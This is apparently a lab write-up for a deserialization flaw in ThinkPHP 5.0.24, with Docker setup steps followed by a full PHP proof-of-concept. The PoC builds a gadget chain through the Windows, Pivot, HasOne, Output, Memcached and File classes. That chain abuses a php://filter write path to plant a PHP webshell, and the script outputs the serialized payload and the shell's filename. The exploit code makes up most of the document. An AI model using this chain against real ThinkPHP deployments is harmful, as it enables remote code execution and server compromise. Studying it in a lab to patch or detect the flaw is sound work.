ThinkPHP是一款运用极广的PHP开发框架。其5.0.24版本中,存在反序列化利用链,可导致任意文件写入,从而getshell。
参考链接:
执行如下命令启动一个默认的thinkphp 5.0.24环境:
docker-compose up -d
环境启动后,访问http://your-ip:8080
即可看到默认的ThinkPHP启动页面。
POC:
<?php
namespace think\process\pipes;
abstract class Pipes
{
}
use think\model\Pivot;
class Windows extends Pipes
{
private $files = [];
function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
}
namespace think\model;
use think\Model;
use think\console\Output;
use think\model\relation\HasOne;
class Pivot extends Model
{
public $parent;
function __construct()
{
$this->append = ["getError" => "getError"];
$this->parent = new Output();
$this->error = new HasOne();
}
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
function __construct()
{
$this->model = new Output();
}
}
namespace think\model;
abstract class Relation
{
protected $selfRelation;
protected $query;
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation
{
protected $bindAttr = [];
}
use think\db\Query;
class HasOne extends OneToOne
{
function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = [1 => "file"];
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output
{
private $handle = null;
protected $styles = [];
function __construct()
{
$this->handle = new Memcached();
$this->styles = ["getAttr"];
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached
{
protected $handler = null;
protected $config = [];
function __construct()
{
$this->handler = new File();
$this->config = [
'session_name' => '',
'expire' => null,
];
}
}
namespace think\cache\driver;
class File
{
protected $options = [];
protected $tag;
function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=convert.iconv.IBM1390%2fUTF-8/resource=' . base64_decode('TG94aXhAeGl4cXZnd01dXm9uJQ=='),
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "resource=");
$filename = urlencode(substr($filename, $pos + strlen("resource=")));
return $filename . $name . ".php";
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
echo "\n";
$f = new File();
echo $f->get_filename();